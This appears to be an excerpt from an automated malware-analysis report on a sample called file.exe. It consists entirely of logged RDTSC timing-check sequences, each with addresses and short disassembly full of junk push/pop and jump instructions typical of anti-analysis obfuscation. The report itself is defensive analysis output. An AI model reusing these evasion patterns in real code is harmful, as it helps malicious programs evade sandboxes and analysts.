Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11918E5 second address: 11918EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11918EB second address: 11918F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191ADE second address: 1191AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191C79 second address: 1191C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191C7F second address: 1191C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0DECD24173h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191C99 second address: 1191CC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DED622D7Eh 0x00000008 jmp 00007F0DED622D86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191FC6 second address: 1192005 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24170h 0x00000007 jmp 00007F0DECD24172h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F0DECD24175h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192005 second address: 119202E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DED622D76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DED622D89h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119202E second address: 1192032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198101 second address: 119810A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198254 second address: 119826F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0DECD24166h 0x00000008 jmp 00007F0DECD24171h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119826F second address: 11982A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D7Bh 0x00000007 jmp 00007F0DED622D7Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jp 00007F0DED622D91h 0x00000014 jmp 00007F0DED622D7Dh 0x00000019 jns 00007F0DED622D7Eh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11986B1 second address: 11986B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11986B5 second address: 11986C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F0DED622D76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11986C8 second address: 11986CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11986CC second address: 11986D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119884D second address: 119885C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F0DECD24166h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119885C second address: 1198866 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DED622D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198866 second address: 119886C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119886C second address: 1198883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DED622D83h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198883 second address: 1198887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198887 second address: 1198897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F0DED622D76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198897 second address: 119889B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198FCF second address: 1198FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198FD4 second address: 1199015 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24178h 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f jng 00007F0DECD24166h 0x00000015 jp 00007F0DECD24166h 0x0000001b pop ecx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F0DECD2416Dh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11996C6 second address: 11996E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11996E2 second address: 119970A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F0DECD24166h 0x0000000f jmp 00007F0DECD24173h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197CC9 second address: 1197CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197CCE second address: 1197CD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A151B second address: 11A1535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0DED622D76h 0x0000000a jg 00007F0DED622D76h 0x00000010 jno 00007F0DED622D76h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1535 second address: 11A153B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A10C1 second address: 11A10E0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0DED622D76h 0x00000008 jmp 00007F0DED622D85h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE0BD second address: 11AE0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B02A7 second address: 11B02CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F0DED622D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F0DED622D89h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2A9C second address: 11B2AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5720 second address: 11B5745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DED622D7Bh 0x00000009 pop ecx 0x0000000a push edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop edi 0x0000000e push edx 0x0000000f jng 00007F0DED622D76h 0x00000015 pop edx 0x00000016 pushad 0x00000017 jg 00007F0DED622D76h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5745 second address: 11B574B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B51C3 second address: 11B51C8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5311 second address: 11B5317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA05A second address: 11BA072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DED622D84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA072 second address: 11BA076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9B0F second address: 11C9B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F0DED622D87h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0DED622D7Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9B3B second address: 11C9B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C84F6 second address: 11C84FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8918 second address: 11C891D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8C21 second address: 11C8C39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F0DED622D76h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8C39 second address: 11C8C3F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8C3F second address: 11C8C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DED622D7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C980B second address: 11C983A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F0DECD24174h 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F0DECD24166h 0x00000015 jmp 00007F0DECD2416Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C983A second address: 11C9855 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0DED622D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F0DED622D7Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE22D second address: 11CE243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECD24172h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D941E second address: 11D9423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAD73 second address: 11DAD7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDB90 second address: 11DDB94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDB94 second address: 11DDB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDB9D second address: 11DDBBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0DED622D76h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F0DED622D7Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDBBC second address: 11DDBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0DECD24166h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDBC8 second address: 11DDBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDBD1 second address: 11DDBE4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0DECD24166h 0x00000008 jc 00007F0DECD24166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB827 second address: 11EB82D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB82D second address: 11EB833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB833 second address: 11EB83E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB3C4 second address: 11EB3DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA202 second address: 11FA223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007F0DED622D86h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA223 second address: 11FA228 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA228 second address: 11FA245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DED622D83h 0x00000009 pop edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA3A7 second address: 11FA3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jp 00007F0DECD24166h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA3B7 second address: 11FA3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA3BC second address: 11FA3C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAABD second address: 11FAAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAAC1 second address: 11FAAC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAAC5 second address: 11FAAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F0DED622D7Ch 0x0000000c jno 00007F0DED622D76h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0DED622D80h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAAED second address: 11FAAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAAF1 second address: 11FAB0A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DED622D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F0DED622D7Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAE1D second address: 11FAE4D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0DECD24177h 0x0000000a pop edx 0x0000000b jnp 00007F0DECD24168h 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jnp 00007F0DECD2416Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAE4D second address: 11FAE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F0DED622D7Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAE63 second address: 11FAE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF1F5 second address: 11FF1FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0DED622D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF2CE second address: 11FF2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF2D2 second address: 11FF2D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF2D8 second address: 11FF2E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0DECD24166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF79C second address: 11FF7A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF7A1 second address: 11FF7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F0DECD24168h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov dx, si 0x00000027 push eax 0x00000028 mov dh, 5Ah 0x0000002a pop edx 0x0000002b push dword ptr [ebp+122D1CABh] 0x00000031 push esi 0x00000032 sub dword ptr [ebp+12472488h], esi 0x00000038 pop edx 0x00000039 call 00007F0DECD24169h 0x0000003e push esi 0x0000003f pushad 0x00000040 push ebx 0x00000041 pop ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF7EB second address: 11FF7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F0DED622D76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF7FB second address: 11FF817 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DECD24166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F0DECD24166h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF817 second address: 11FF839 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0DED622D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0DED622D86h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200D4B second address: 1200D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200D51 second address: 1200D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jne 00007F0DED622D7Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200D64 second address: 1200D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200D6A second address: 1200D94 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DED622D76h 0x00000008 jmp 00007F0DED622D85h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200D94 second address: 1200D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0417 second address: 54F04B6 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 83CFh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007F0DED622D84h 0x0000000e and esi, 3A780278h 0x00000014 jmp 00007F0DED622D7Bh 0x00000019 popfd 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F0DED622D86h 0x00000021 push eax 0x00000022 pushad 0x00000023 push ebx 0x00000024 mov ax, FB33h 0x00000028 pop eax 0x00000029 mov bh, CAh 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F0DED622D7Dh 0x00000036 sub eax, 04F29C76h 0x0000003c jmp 00007F0DED622D81h 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007F0DED622D80h 0x00000048 sbb si, 6198h 0x0000004d jmp 00007F0DED622D7Bh 0x00000052 popfd 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04B6 second address: 54F04BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04BC second address: 54F04C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04C0 second address: 54F04EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0DECD24175h 0x00000014 rdtsc
